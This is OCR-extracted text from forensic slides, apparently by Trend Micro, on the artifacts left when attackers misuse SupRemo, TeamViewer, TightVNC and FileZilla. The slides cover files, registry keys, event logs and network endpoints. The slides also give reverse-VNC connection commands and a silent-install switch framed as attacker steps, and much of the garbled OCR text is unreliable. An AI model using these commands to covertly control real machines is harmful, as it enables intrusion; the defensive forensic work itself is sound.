& M=ro 9 AnyDesk ;\’ splashtop TeamViewer @

gRemoteUtiIities® mmCONNECTWISE' LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS E"ﬂ!t‘.i&ﬂ ) GoodSync &? Eﬁlezma
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SupRemo: Artifacts

Installation Agent program installation and connect from attacker

Others

Useful Artifacts Files Registry Process/NW

%ProgramFiles(x86)%¥Supremo¥*

Log File

%ProgramData%¥SupremoRemoteDesktop¥Log¥SupremoService.00.Service.log

[4.8.3.3554 :,I' 2022-12-14 23:44:31:180 [TID 2252 ][INFO ] Supremo Service instance starte

[4.8.3.3554 ] 2022-12-14 23:48:51:586 [TID 4780 1[INFO ] Supremo Client started (PID 463

fServi :E‘-\

2, SESSION 1) [Service]

1. Date/Time of installation completed

@D » [ system.evtx (EventiD: 7045) |

HKLM¥System¥CurrentControlSet¥Services¥SupremoService
* DisplayName: Supremo
* ImagePath: %ProgramFiles(x86)%¥Supremo¥SupremoService.exe
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SupRemo: Artifacts

Installation Agent program installation and connect from attacker

Useful Artifacts Files Registry Process/NW Others
%ProgramFiles(x86)%¥Supremo¥Supremo.exe
Name Processes persists Private b.. Usern.. Description m
on victim * "
s | SapremoHelperexe 11.87MB . ¥user0] .nanosystems.it: 443,5938
: FW rule for Splashtop; Link
. IP/Port that the
Mame = Local... Remote add State
. process access to If you want Supremo to work correctly, it is necessary to allow outgoing

'@' SUPIEMO.EXEw 52276 15.235.175.25 Eﬁx AT

Established

';J;l;' Su pr;'m.em.n- LEERREL) 15.235.175.25 5835 TCP | Established

Domain Name System (response)

~ Answers
v pwdi/6.nanosystems.it: type A, class IN, addr 15.23

"ﬂName: @S?G.na_nosystem_s.it I

Type: A (Host Address) (1)

Class: IN (©xe8ee1)

Time to live: 21688 (6 hours)

Data length: 4
.llII‘Qddr!ess: 15_235_175_25' ssssEsmEEEEmEnEEEEnEns

sssssnnnnnnnn e

.175.25
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traffic to TCP port 5938 and to the following FODNs on port 443:

» license.nanosystems.it

* dispatcher.nanosystems.it

» onlinestatus.nanosystems.it
* banner.nanosystems.it

« console supremocontrol.com
« scommerce.nanosystems.it



https://www.supremocontrol.com/faq-items/what-ports-does-supremo-use/

SupRemo: Artifacts

EENITCH ] (o) (=N o)1 1dg ]l Control the victim machine as if accessing via Remote Desktop

* ID and password will be generated on victim machine after installed/executed.

e Attacker will use the credential to connect victim machine. A designated
SupRemo account is not necessarily required to connect.

A S

B> - FHIVFREDFEAN ? BETS

| KA7-FEx X

?;7‘35'){7 bF /T4 ZDsupremo/ TR —REATIL

=0 Be= A IERE JRD—k:
HEEID 165 “ ot
4
H
.

Supremo

Tell us your experience with Supremo!
Your opinion is important for us!

Supremo 4

o SEiEsal YR Free
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Target monitor screen appears and able to control
*Copy-Paste b/w hosts-client is available




SupRemo: Artifacts

EENITCH ] (o) (=N o)1 1dg ]l Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

Log File
%ProgramData%¥SupremoRemoteDesktop¥Log¥Supremo 00.Client.log

12068 I ] Starting Supremo [Client]

10204 ] "C:\ProgramData\SupremoRemoteDesktop\License.key" file has been created [Client]
11920 ] Checking for software update [Client]

11920 ] Update Channel set to "Stable" [Client]

12068 ] Connecting with ID "165824650" as Host °, gw873.nanosystems.it: Client]
12068 { ] Connected with ID "165824650" as Host tu gw873.nanosystems.it: [Client]

6372 ] Checking for software update [Client]

12068 J[ING ] Supremo Closed [Client]

www
nnwumuunuunun
LU R Y RV Y RV Y]
LR S R SRR S S S

Wwwwwwww

wWwwww

[TID 12068 )| | 1.example.local (097343628) =AHE- - £, [Incoming]
[TID 12068  ][IN 1 W 1.example.local (097343628) &hhiE 3 itL#LE [Incoming]

.3554 ] 2022-12- 14 22:20: 9 [TID 12068 J[INFO ] ADDED TDeviceReport Report: Id: ©9734362816582465@, Start: 2022/12/14 20: [ReportsQueue]
54 ] 2022 [TID 12068 JLINFO ] UPDATED ENDTIME and ADDED dev_ report to DEVICE REPORTS QUEUE: Id: @97 24650, Start:
2022/12/14 22:20:35, End: 5922 12/14 22:26:02 [ReportsQueue]

1. Hostname and port of relay server
2. Hostname of attacker

3. Date/Time of session start and end

® TREND:
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SupRemo: Artifacts

Feature: File Manager Transfer specific files between client(victim) and server(attacker)

deiledsld & ¥ - 0 x
; e
o Lo |1 cwsermuseorpetopien V] B [1 cusmasminsmetonpetton v
] "= 94X e EE -~ o [Z73
ML sexe 2 et FrALT
o 2Pl 8, atts wictim. et T*T JP-

B KB
Ta7r{l  sEske

annnnn

Useful Artifacts Files Registry Process/NW Others

%ProgramData%¥SupremoRemoteDesktop¥Log¥Supremo 00 F|IeTransfer.Iog

: [TID 12068 J[IN ] Received File
5:252 TID 12068 ]'IrJrO } Sent File: "C:\Users) userel Deshtop supr‘e'no \fromv 1ct1mt
49:986 :TID 12068 J[INFO ] Received File: "C:\Users\user®l\Desktop\supremo\fromattacke
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Tools Verification - TeamViewer

TeamViewer

BlackBasta, BlackCat

LAPSUSS, Lockbit 3.0,
Royal

Relay

Direct

Install

Portable

Target RMM tools

Be Limitless.

& NI=rQa ’)AI"IYDESk ;\'sploshfop" TeamViewer
gRemoteUtiIities® mmCONNECTWISE' LOQMG@ @SupRemo

e

ngrok

Target SYNC tools
C.) RCLONE €)MEGATOOLS E"ﬂ!t‘.i&ﬁ ) GoodSync &? Fi-ezma
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TeamViewer : Artifacts

Execution/Installation Client program installation to the victim machine

* Both exe and msi installer will be obtained from Web console.
(An account is not required to use TeamViewer.)

* Silent installation is supported.

Design & Deploy

Design & Deploy CUSTOM MODULES
Service queue S ——
seps [+ ]
Android Host
Full Client prloduls ey
Host Q Al | -
User mana gement
Quickloin AODULE OWNER LAST UPDATE 4 UPDATED BY
QuickSupport
Full Client 01/12/2023 3:29 PM yD

Overviev W

onitorin _I\
e - Download Installer
Asset Management Add C||ent

TeamViewer_Setup.exe /S /D=<Install Dir>
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TeamViewer : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥TeamViewer¥*
%ProgramFiles%¥TeamViewer¥*
%TEMP%¥TeamViewer¥*

HKLM¥SOFTWARE¥TeamViewer
HKLM¥SOFTWARE¥WOW6432Node¥TeamViewer
HKLM¥SOFTWARE¥WOW6432Node¥TVinstallTemp

] [
[F15-
SO =50 SR ALTH) 1 Client ID(TeamViewer ID) to connect from a remote machine
EV_LOCAL_MACHINEXSOFTWAREAWOWE432Node¥ TeamViewer 2. Installation directory er
caseredipelie ® || £@ # 3.  Account name of TeamViewer &8 75
wnclntegration oui - x
F—— f']ge“' "“eK EE 4. Date the password was last set REG_DWORD 0x00000002 (2]
) | CertificateKey . - REG_MLUILTI SZ 3232263650, 24:00505696
gi?i;i:l:g 8| Cliept|C REG DWORD QxC ) gefa.ulfqettlng REG_SZ Team\-"iewerAccountI
Devie Moo P4 ClertiD REG_DWORD Oxafls (1326 e REG_DWORD TXOD00000T (1)
g 5 = = - eviceManage - :
RemoteAccess ia| Device_Auto_Assigned_To_Account  REG_DWORD 000000001 (1) RemoteAcceE* REG BINARY 95 Bb 54 0a 87 50 44 e d
TEIT\p o = . £ . Wﬁ BIMARY FZ Fadrlsaa3srasad 77 ramaeb d TEl-np n . REG_SZ 2023010670731 Szﬁ
TrendMicro 2 ab Installat!DnDlrector}f TrendMicro Ty REG_BINARY

ad 26 ac 2c bf bd 68 3c 4 NDE
= 2R H
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TeamViewer : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

Log File / Config
%TEMP%¥TeamViewer¥TV15Install.log
%TEMP%¥TeamViewer¥tvinfo.ini

Tw15lnstallloe [x
2023-01-08-01-41-09 TV15Install.log |

2023-01-08-01-41-82 Installer: TeamViewer

2023-01-08-01-41-89 Version: 15.37.3 (IMP-91.4)
2023-01-08-01-41-89 Install mode: Admin

2023-01-08-01-41-89 Account type: Admin, UAC supported:1, Elevation:2
2023-01-08-01-41-89 Time: 2023-01-88-81-41-89
20823-01-088-01-41-89 0S-Version: 10.8.19045(64-bit) SP:@, Type:1l

[Installation]

CUSTOM_ID=67637n2

ReadCustomDatale4=0
MARKETING ID
INSTEXE -TeamViewer_Setup.exe

2623-01-08-01-41-18 0S-Info: Server:® Home server:@

2023-01-88-01-41-10 User-SID: 5-1-5-21-2811855535-1686897149-274500168-1601
2023-01-88-01-41-10 Log level: 198 (detaulr

2023-01-88-01-41-10

e Version and User

2823-01-88-01-41-11 TVInitRollback ™ restore
2023-01-08-01-41-12 Create backup directory:<C:\Users\john\AppData\Local\Temp\TeamV
2023-01-08-01-41-12 Currently installed version: Major:<>, Display:<>
2023-01-08-01-41-12 Command line parameter:

Installer file name
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TeamViewer : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others
@D » [ system.evix (EventiD: 7045) )

HKLMY¥SYSTEM¥CurrentControlSet¥Services¥TeamViewer

* DisplayName: TeamViewer
* ImagePath: %ProgramFiles%¥TeamViewer¥TeamViewer_Service.exe

| m=] swchost.exe 6952 B804 MB NI AUIHOE B YRR T35
v E"} TeamViewer_Service.exe 6336  0.02 1843 MB  NTAUTHOF | 501 m2m =5 sSEAua ALTH)
f Bl 4 o4 hAD  RIT I 2-F—-¥HKEY_LOCAL_MACHINE¥SYSTEM¥CurrentControlSet¥Services¥TeamViewer
tv_w3Z.exe P - - - o P ' AUTHOF
C:¥Program Files (x86)¥TeamViewer¥TeamViewer_Service.exe |ALF[H'DF Tepip® ~ [ 2 g gy
Processes persists F"f‘_: . . .- e : tTC"”’ST“””E REG SZ (EDBEBL)
L ¥Frograr . Er¥TeamViewer_Service.exe i~L tepipreg ab i i
on victim _F : .'j SerV|Ce Name - TCPIPTUNNEL \_;]Depel.ﬂd(f}nSemce REG_MULTI_SZ RpcSs Tcplp NDIS Al
— eamview ALTHOF L e i_J-JDescrlptlon REG_SZ TeamViewer Remote
TeamViewer =nv GmbH ab| DisplayName REG_SZ TeamViewer
s e . TeamVi

[=] swchost.exe — AUTHOF t:::’in;we' 8] ErrorControl REG_DWORD 0x00000001 (1)
E sy host.exe TeamViewer (TeamViewer) AUTHOF : TermService | FailureActions REG_BINARY 805101 0000 00 00

——— ainlsialabbie | Themes ab]ImagePath REG_EXPANDSZ ~ "C:¥Program Files¥T
E svchost.exe Notes AUTHOF TieringEnginet E_ﬂObjectName REG_SZ LocalSystem

Signer: TeamViewer Germany GmbH © || TimeBrokerSve || B|Start REG_DWORD 0400000002 (2)
svchost.exe . | L o ¥ AUTHOF

rocess is 32-bit (WOWe4), tmactmon 24 Type REG_DWORD 000000010 (16)
[#5] svchost.exe : AUTHOF Tl TMBMSarver
(8] svchost.exe 11480 6.22MB NT AUTHOF 1 Tmecs
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TeamViewer : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

[Install] %ProgramFiles(x86)%¥TeamViewer¥TeamViewer_Service.exe
[Install] %ProgramFiles%¥TeamViewer¥TeamViewer_Service.exe
[Portable] <Dir>¥TeamViewer.exe

=TV B ) [ Network
Processes  Services Disk Install
Local ... Remote address €. PO

Name Local address * teamviewer.com: 5938,443,80
[=] TeamViewer_Service.exe (5032)  127.0.0.1 5938 127.0.0.1 58308 TCP FW rule for TeamViewer; Link
TeamViewer_Service.exe (3032)  192.168.110.18 58310 37.252.229.168 }--SESB-TEP"- ------------------------------
e — . S Domain Mame System (response) 0
Transaction ID: @xe959 =
N " v Queries u
2 = =
Processes Services MNefwork | Disk Portable routerl3.teamviewer.com: type Ap class IN
Mame Local address  Local.. Remote address EM... Prot.| | 40skers H
) r'uuter'lB.teamviewer.cum:Itype CI':AME, class IN, cname routerpocll3.rlb.ted
BTE'EIIT\VIEWE‘LE:(E[HQQZ] 127.0.0.1 6035 TCp ~ routerpoolll.rlb.teamviewer.coms type A, class IN, addr 37.252.229.168
%_Team\newer.exemegzj 19216611016 51043 37.252.209.168 | 5938 TCP Nale: routerpooll3.rlb.teanviguer. con
n . v Type: A (Host Address) (1) =
TeamViewer.exe (11992) 192.:168.110.16 51044 20,189.104,97 443 TCP BALLLER, (axaa'al) E
. Time to live: 3@ (38 seconds)s
L]

Data length: 4 .
l'--------------------------------------------l------q@ddpgﬂ: 37.252.229.168 k...-
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https://community.teamviewer.com/English/kb/articles/4139-ports-used-by-teamviewer

TeamViewer : Artifacts

Execution/Installation

Client program installation to the victim machine

Useful Artifacts

Files Registry Process/NW Others

-
(=}
on “‘\

%ProgramFiles(x86)%¥TeamViewer¥TeamViewerl5_Logfile.log
%ProgramFiles%¥TeamViewer¥TeamViewer15_Logfile.log

107.240 10648 14240 S
107.240 10648 14240 S
107.240 10648 14240 S
107.240 10648 14240 S
107.258 15960 11868

107.268 15960 11868

107.268 10648 16624 S
107.268 10648 14240 S
107.268 10648 14240 S

107.268 10648 14240

107.268 10648 14240
107.268 10648 14240
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tvrmpatchmanagement: :PatchManagementUninstallerWin: :Uninstall: L TeamViewerl5_Logfile.log

ManagedDeviceController:: ManagmentStatusChanged to unmanaged.

CKeepAliveClientClient: :StartConnect(): Protocol 8 proxy -- IP routerl3.teamviewer.com
ACT1vating Kouter Larrier

ProxySearch: no PAC script detected via WPAD FQDN and IP address
ProxvSearch: no PAC script detected via WPAD

CTcpConnectionBase[2]::ConnectEndpoint(): Connecting to endpoint 37.252.229.168:5938
KEEepAL1Ve>EeSS10NUUTEO1NgE: : LONNECTSUCCEeSSHanadLlery ) KeepAL1VeLonnect TO routerLis.tTeamviewer.com
KeepAliveSessionOutgoing: :KeepAliveChannelInitialized(): KeepAliveConnection to routerl3.teamvi
KeepAliveSession: :KeepAliveChannelInitialized(): KeepAlive-Connection initialized with ID @ (IP
KeepAliveSession: :SendCompleteQueue(): SendQueue: ® (@ Bytes), RemoteSession 2 (ClientID 9), Ti
IdentifyRequest: ID = 1373 , IC = -886930929, IsTemporaryID = @, InitiativeGUID = 15cd5631




TeamViewer : Artifacts
Control the victim machine as if accessing via Remote Desktop

B - o x
g i gt gl
e JF -
T S = & JE-FIVED
22 =m & UE-FIvH- R v

-

G #wh Kao—F .

wwipk3 LR EEEEEEESENEEEEEEEEEEEN
© mEEx om flvw7pk3 K >
¢ Bl
: eBriei

T

Enter the TeamViewer ID of the target(victim)
machine and click the "Connect" button.
Team\Viewer
® EASEET (E2TEi) & MEPIERIETENIEATUY. @ IO-STARNTT
Useful Artifacts Files Registry Process/NW Others
m v E"] TeamViewer_Service.exe Install
[Install] %ProgramFiles(x86)%¥TeamViewer¥TeamViewer_Desktop.exe g :-W;ZE"E 1:2':;
_xbd.exe
[Install] %ProgramFiles%¥TeamViewer¥TeamViewer_Desktop.exe [ Teamviewer Desktop.ee | 5220
[Portabel] <Dir>¥TeamViewer_Desktop.exe v [ TeamViewetexe =
E] tv_wiZexe
[w] tv_x6d.exe

@ TeamViewer_Desktop.exe
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TeamViewer : Artifacts

EENVH (] [ A3 Control the victim machine as if accessing via Remote Desktop

_*  Supports some authentication methods

(=

@ Free license (non-commercial use only) - John Learn more

(o] YA #04) - ohn #*  Remote Contral
PP S T S v— alowre Random passwords  |er
. AR TeamViewer Authentication NN NN NN NN NN NN RN ERANNEEEERRENEREAASEEEEEEEEEEEE e
o e i . {E] Computers & Contacts 1373 o ‘
5]

q

Chat 1
Augmented Reality [0 m

& Getting Started

T 8 Sl | Please enter the password thatis dlspﬁyed on your
Bl G partner's computer, =
v K|

Personal password Personal password
If you set a personal password, anyone
choose a strong password, (Permanent password)

Learn how to choose a strong password L

Password
S I NN N NN EEEEEEEEEEEEEEEEEE
Confirm password

& Tell us what you think

Computers & Contacts > ¥ A E1—4 Manage additional Passwards...
User management COMPUTERS. & CONTACTS
Grant Easy Access x
IR E ¥
° Assign this device to a TeamViewer account to connect securely without
- requiring additional passwords.

"
o
Ens
[t
i

- Learn maore
. . . EEEEEEEEEESEEEEEE® Email WK EHHHHNN
Click “Connect” button on TeamViewr Web site @ ﬁ > | |

* TeamViewer account required Passwordl | sesssssssnses |
 Device(client machine) authorization needed Remote (Attacker)
* No random or personal password is required Easy access (Unattended Access)

o

Client (victim

Need to be logged in to TeamViewer account
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TeamViewer : Artifacts

Feature: 11-F.\¢«-II3 Control the victim machine as if accessing via Remote Desktop
Useful Artifacts Files Registry Process/NW Others

Log File
%ProgramFiles(x86)%¥TeamViewer¥TeamViewerl5_Logfile.log

%ProgramFiles%¥TeamViewer¥TeamViewer15_Logfile.log

14549 D1!! CAuthenticationSRP_Passive, Step_Receive_VerifyClientSecret: clientSecret!=server: EMIEVoa\ATWVYSRSHN NoT=sil [N (oY=

14549 D1 1 .Em‘l'han'h'r=+'innD=<.<.|.»lnr‘d\ngﬂ'niDaqq'i\.'a"le.ﬂm‘l’han'l"ira‘l"innl'\-ﬂa'l'hnd' authentiratinn u:'inE NEET R T
14548 D1 = AuthenticationPasswordLogin_Passive::RunAuthenticationMethod: authentication using fixed password was successful
14240 S@ AuthenticationBlocker::Reset: attempts reset tor DyngatelD 132

14240 SO CPePsistentPaPticipantManager::AddParticipant2 [137 .586562311] type=3 name=TARGET-PC
14240 SO CPersistentParticipantManager: :AddParticipant.” [132 -1046921514] type==2 name=REMOTE-PC
14240 S@  CPersistentParticipantManager::AddParticipant: [137 ,586562311] type=3 name=TARGET-PC
6566 D1 SessionManagerDesktop: :ApplyInputBlockerPermissions: apply permissions: @

6560 D1  tvdesktop::UserInteractionHelper::ChangeServerInputInternal (inputMode @)

VoIP: Sender: Session -1634210578: VoIP streams: P
VoIP: Sender: Sessir~ -1634218578 initialized.
UDPv4: punch receiv® a=13.J 48:59589: (*)
UDPv4: send PunchReceivea: (*)

Password authentication
TeamViewer ID of the remote machine (attacker)

Hostname or account name of the remote machine (attacker)
Global IP address of the remote machine (attacker)
Disconnection and its date/time

vk wn e

Gl  VoIP: Sender: Removed session 586562311

G1!! SessionFeatureContactSuggestions: :AddContactSuggestionsAf
11652 G1 RA: RemoteAudioSender get stopped
6560 D.5 SessionManagerDesktop: :SessionTerminate: removing session with tvsessionprotocol::TVSessionID =
4756 G1 VolP: Heceiver: Hemoved session 586562311
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TeamViewer : Artifacts

EENVH (] [ A3 Control the victim machine as if accessing via Remote Desktop
Useful Artifacts

Log File

%ProgramFiles(x86)%¥TeamViewer¥Connections_incoming.txt
%ProgramFiles%¥TeamViewer¥Connections_incoming.txt

Files

Registry

Process/NW

Others

REMOTE-PC
REMOTE-PC
REMOTE-PC
REMOTE-PC
REMOTE-PC
REMOTE-PC
REMOTE-PC
REMOTE-PC
RemoteUser
WIN18-PC
RemoteUser
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3

28-12-20622
28-12-20622
28-12-2022
28-12-2022
29-12-2622
29-12-2622
29-12-2022
29-12-2022
29-12-2622
07-01-2023
©8-01-2023

28-12-2022
28-12-2022
28-12-2022
28-12-2022
29-12-2022
29-12-2022
29-12-2022

29_‘I"l jelrlolel

20- IR TeamViewer ID of the remote machine (attacker)
07 - v Hostname or account name of the remote machine (attacker)
08- EEH Date/Time remote machine connected/disconnected (UTC)

RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl

DAamatAalantinal

Connections_incoming.txt

{42c98c25-5580-43b5-adl
{c256a204-63cf-48ec-bab
{b8f5733e-f2e4-466c-aéb
{65abab7b-ce37-4269-aa3
{4©245aaf-dbaf-4bf3-b86
{5dc21d42-b3f6-4f5a-a%e
{3bc@bb7e-94e5-485d-86a

S £ADTAA~~D £OL£L£ A~74 374




TeamViewer : Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

[ File transfer to WIN10- - m] =
X O Home Actions * E‘ View * %“' Communicate ™ §l_g&. Files & Extras ~ ) - -
- Local computer - Remote computer
r-a r=A =il |
1 1 1 | D‘l o .
< L& --@ . | NS | ~U
Activate TeamViewer Start VPN Take Start session Cpen file Share via send Receive
Printing screenshot.., recording transfer J| file box =
Print WPN Screen Recording arile Transfer Name Size Type Moc| | Name Size Type Mac
“O)Recently used Y O—flb 7429
H e A O-Hl 7429 s DA O-Hl 7449
- | C\Users\administratar T4l FAIA... | ChUsers\Administrator TP FAIA...
: |=| Documents ZAT L TAN |= Documents AT TAN.
. W7 A5hT TrIl T W52k TPl FA A
. = ESTR ZAT I TA e = ESTR AT Iy TA .
.IIIIIIIIIIIIIIII>
< | |« >
0 object(s) selected 0 object(s) selected
Job queue Event log
0 Bytes / 0 Bytes 0 of 0 jobs completed Clear finished jobs
Close
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TeamViewer : Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

Useful Artifacts Files Registry Process/NW Others
Logs File

%ProgramFiles(x86)%¥TeamViewer¥Connections_incoming.txt
%ProgramFiles%¥TeamViewer¥Connections_incoming.txt

d Log when "l.exe" is sent from a remote machine to a target machine |[EEep . 141849 kbit/s, re. TeamViewerl5_Logfile.log
i : , re:

10648 16624 SO StreamDecompressor[14]: change compression to LZ4 for stream 16

13532 16032 G2 VoIP: System performance (last 60s): CPU load of system = 1%

10648 16624 S8  tvnetwork::StreamManagerInternals::ReadStreamParameters: type=6 (StreamType File, private),
-87a6-4fc5-8173-872482924948}, source=[1317 ,-1081053615], features=1, compression=2 streamID=27

10648 16624 SO StreamDecompressor[(141: chanege compression to LZ4 for stream 27

13532 16288 G2 1 Write file C:\Users\Public\1l.exe

13532 16288 G2 Download from "1.exe" to "C:\Users\Public\1l.exe" (963.79 kB)

13532 12216 G2 TacltharnrDraaorace s *DnnaracchlnnblanBiine s Winnbarn and

10648 16624 S 1. Files sent from the remote(attacker) machine to the target(victim) machine

10648 14240 SO UUPUULPULT T dUKET | ). lIdA DUZIL €1 1ELLLVEDEIIL JJUJD NIl DODJ
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TeamViewer : Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

Useful Artifacts Files Registry Process/NW Others
Logs File

%ProgramFiles(x86)%¥TeamViewer¥Connections_incoming.txt
%ProgramFiles%¥TeamViewer¥Connections_incoming.txt

jr\r}ln Aarraa cn [ [ U, PR ISR IR LT DU I

LTS e D T 6888

q Log when "data.zip" from target(victim) machine is sent to remote (attacker) machine T 6955
10648 14249 S0 UdpOutputiracker(): max 285//1 ettectiveSent 298835 RIT 6950

10648 16624 S@  UdpOutputTracker(): max 298835 effectiveSent 314486 RTT 6959

10648 16624 S@  UdpOutputTracker(): max 314486 effectiveSent 343115 RTT 7067

13532 13324 G2 _ TaskbarProgress::ProgressWorkerFunc: Worker end.

13532 16288 G2 Send file C:\temp\bkup\data.zip

10648 14240 SO liant onnectTionl 2% 1: 1P statistics: nrn=h9 scf=56A nh=40A ns=118597 nr=170

13532 1952 1.  Files sent from the target(victim) machine to the remote (attacker) machine
10648 16624 SO

DUl CUIICVIIE T OOVl | LT e SIIUIIfGC VT W J4VIl LY LLT 1 v 2 Ul i o
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Tools Verification — Tight VNC

o
- | ~
:= a.E.‘\ REvil, BianLian
VNC Relay Direct

e Install Portable

ek
& A=ra ®>AnyDesk g\ splashtop’ [=] Teamviover  VAC

gRemoteUtiIities® m"CONNECTWISE' LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS Eﬁll‘.iﬁfr ) GoodSync E? Eﬁlezma
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TightVNC : Artifacts

Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥TightVNC
%ProgramFiles%¥TightVNC

HKLM¥SOFTWARE¥TightVNC
HKCU¥Software¥TightVNC¥Server
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

* tvncontrol: "%ProgramFiles%¥TightVNC¥tvnserver.exe" -controlservice —slave

@D » [ system.evix (EventD: 7045) )
HKLMY¥SYSTEM¥CurrentControlSet¥Services¥tvnserver
* DisplayName: TightVNC Server

* ImagePath: “%ProgramFiles%¥TightVNC¥tvnserver.exe” -service

127 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



TightVNC : Artifacts

Installation Agent program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

Application.evtx (Event ID: 1033, 11707)

) 1NYET0IF - 4R 1033, Msilnstaller X & AR T0)F1 - ARYh 11707, Msilnstaller X
EZEAN ] RO
Windows A L2 k== ENBIGH A b ENE L. BiGE: TishtWNG, 86 i—Ta. 28630, 8 Product: TightWNG -- Installation completed successfully.
SRVEEE: 1035, BHET: GlavSoft LLCG. 122 b= OBEIIERIT S — DA 0
DA MR M): #pplication DA MR M) #pplication
Y=AE) Mzilnstaller ol:l*’,‘a'(DElf’T(D): 202212714 1201:37 I ¢ =R Mzilhstaller o OAMB (D 2022/12/14 12:01:37 I ¥
A A% ID(EY 1033 BALDAT I fal A A% ID(E: 17 BAO@OAHTIUY: Bl
LA bELY: &R ==K febstle] LA LELY: ¢ H == R etk )
i e (U} JrEa—H—(Rk b e (i) JEa—H—{R
F— RO FAI— RO
SERBIEERD: Aok OSQaILE . . . Ak 0SQaILT
1. Date/Time of agent installation
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TightVNC : Artifacts

Installation

Agent program installation to the victim machine

Useful Artifacts

Files

Registry

Process/NW Others

EventlLog

Application.evtx (Event ID: 257, Source: tvnserver)

& ARk F0ITA - AR 257, tnserver

= HE

I Service has been started successfully

04 MERICM): Application

=25k tvnzerver

A A b IDCER: 257

LA &3

24—l N/

74— R0k

SERBIEER(D: ET] el Y] Yl
Je—(F)

OSDEFID:  2023/01/05 1557:28
BALOAT IV BL

=1 K b2

T2 —8—(Rk  WINTO-HES-NKY

BALE(C

@ Ak FO)TA - 4820 257, tvnserver

ES

I Service haz been stopped I

O g M
=05
A #s b IDCEY:
Lol L:

Application

twnzerver o8B D) 2023
257 S200AT AU Hl
&R F=]— K ey,

129 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



TightVNC : Artifacts

EENVH (] [ A3 Control the victim machine as if accessing via Remote Desktop

* Support ReverseVNC connection

Command - VNC Client (Attacker)
tvnviewer.exe -listen

Command - VNC Server (Victim)

[Porable] tvnserver.exe -controlapp -connect <IP address>[: Port]

[Install] tvnserver.exe -controlservice -connect <IP address>[: Port]

ReverseVNC
@ ﬁ @rrrsssssansnnnnnEnnnnn
=5

tvnviewer.exe tvnserver.exe

1. VNCclient listens for an incoming connection from
the VNC server (Default port 5500)
Connect from VNC server using ReverseVNC
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TightVNC : Artifacts

EENVH (] [ A3 Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

EventlLog
Application.evtx (Event ID: 257, Source: tvnserver)

& A7k F0)To - 480 257, tvnserver & A7k F0)To - 480 257, tvnserver

= £ <

futhentication pazsed I:u)I fd. 140 I The u:lienl it 140 |1as dizconnected

Only If installed and used as a service, an event log is recorded (use “-controlservice” command option)

!

OX BT M) fipplication O AT M fipplication
W—205) tvrserver 04~ o =S tvhiserver o4 @B D
A A2 b IDEEN: 257 RASTHT I A A2 b IDEEN: 257 RAAMHT I

131 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



TightVNC : Artifacts

EENVH (] [ A3 Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

EventlLog
Security.evtx (Event ID: 4688)

] AR TFOF1 - 4Rk 4688, Security-Auditing *
B
LT OEANERENE Lz, ~
FOAEER:
FLFoER I 0700
LG0T AE:  C¥Proeram Files¥ TishtWNC¥tvnzerver sxe
b=t HAB MR AN 1038 &
LA Mandatory LabelMedium Mandatory Level
FERR O 1D 0x1b24
o -1 . F‘-.wlr - ﬁil if .|
FOFADTTE 24 tynzerver exe —controlapp —connect . ___ 1405500 I
b, B AR IR 0 T IR 1T R TER AN T RIN S T E A R b i Y
O TR ET M) Ty
=205k Security—Auditing O4MBE D 2023501705 16:57:53
A M2k IDCE): 4638 RABDATIVIYY: Process Greation
L LELY: &R #—T1—F(K): RRINMESTEE
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TightVNC : Artifacts
Agent program installation and connect from attacker

w . . TightVNC File Transfer X
1 - - TI g htlll"llN C 'II"III Ewer Local Computer (Viewer) Remote Computer (Server)
- \ [/
S EEREEE 2 | &
—ll E II : C-trl Alt é "E.-\ Name Size Modified Name Size  Modified
Bc: <Folder = De: <Folder
Mo <Folder>
>
<<
Rename Mkdir Remove Refresh Rename Mkdir Remove Refresh

Useful Artifacts Files Registry Process/NW Others

* No particularly useful artifact were identified. (SRUM may be useful)
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Tools Verification — FileZilla

Cuba, Karakurt,
Lockbit2.0, Lorenz

FileZilla CLI GUI
Relay Direct
Install Portable

-~
& M=ro 9 AnyDesk ;\’ splashtop TeamViewer @

gRemoteUtiIities® mmCONNECTWISE' LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.RCLONE ©micatools W™ GQGoodsye f5 [
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FileZilla : Artifacts

Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles%¥FileZilla FTP Client¥

%ProgramData%¥Microsoft¥Windows¥Start Menu¥Programs¥FileZilla FTP Client¥FileZilla.Ink
* Target: %ProgramFiles%¥FileZilla FTP Client¥filezilla.exe
%ProgramData%¥Microsoft¥Windows¥Start Menu¥Programs¥FileZilla FTP Client¥Uninstall.Ink
* Target: %ProgramFiles%¥FileZilla FTP Client¥uninstall.exe

HKLMY¥SOFTWARE¥WOW6432Node¥FileZilla Client¥*
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FileZilla : Artifacts

Feature: Data Transfer

Transfer specific files or directories

a FileZilla o
IPAME BEE BRV ESM F-f-5 ToIT-06) ALTH)
9 PR e Il s | = s ~
i v [ = -\-ull‘fo x 4|_‘F,Q 8
T--g: | | rao-fe T-hPx | | p4ormea -
IS Ci¥UsersiuserniVconfidentialVagenda.txt £ 7 T
& 108,200 51 F (15) 7 £
K */Users/Administrator/Desktop® Lot
B */Users/Administrator/ Desktop™ L&k
